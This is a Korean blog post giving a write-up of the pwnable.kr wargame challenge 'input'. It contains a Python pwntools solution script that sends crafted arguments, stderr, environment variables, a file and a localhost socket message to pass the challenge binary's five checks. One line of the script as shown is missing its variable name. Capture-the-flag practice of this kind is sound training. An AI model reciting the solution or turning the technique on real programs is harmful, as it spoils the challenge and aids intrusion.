KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/pwnable.kr

[pwnable.kr] input

kdhzoot 2018. 11. 8. 20:20

pwntools 사용법을 알려주기 위해 만든 문제 같다.



특별한 것 없이 코드에서 원하는 대로 프로그램에 입력을 해주면 된다.


입력방법을 찾아보느라 오래걸렸다.



기본 디렉토리에서는 파일을 생성할 수 없으므로

안보이지만 존재하는 tmp 폴더로 들어가 자신의 폴더를 만들고

거기에 flag와 elf파일을 복사해서 작업해야한다.



exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
 
#setting argvs for stage 1
argvs = [str(i) for i in range(100)]
argvs[ord('A')] = "\x00"
argvs[ord('B')] = "\x20\x0a\x0d"
argvs[ord('C')] = "2000"
 
#stderr for stage 2
stderr_f = open("stderr",'a')
stderr_f.write("\x00\x0a\x02\xff")
 
#environ for stage 3
env_dic = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}
 
#file for stage 4
fp = open("\x0a",'a')
fp.write("\x00\x00\x00\x00")
 
= process(executable="/home/input2/input",argv=argvs, stderr=open("stderr"), env=env_dic)
 
print p.recv(2222)
p.sendline("\x00\x0a\x00\xff")
 
#socket for stage 5
sock = remote("127.0.0.1",2000)
sock.sendline("\xde\xad\xbe\xef")
print p.recv(2222)
print p.recv(2222)
print p.recv(2222)
 
stderr_f.close()
fp.close()
cs




'정보보안 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2018.11.08
[pwnable.kr] leg  (0) 2018.11.08
[pwnable.kr] random  (0) 2018.11.08
[pwnable.kr] passcode  (0) 2018.11.08
[pwnable.kr] echo1  (0) 2018.11.05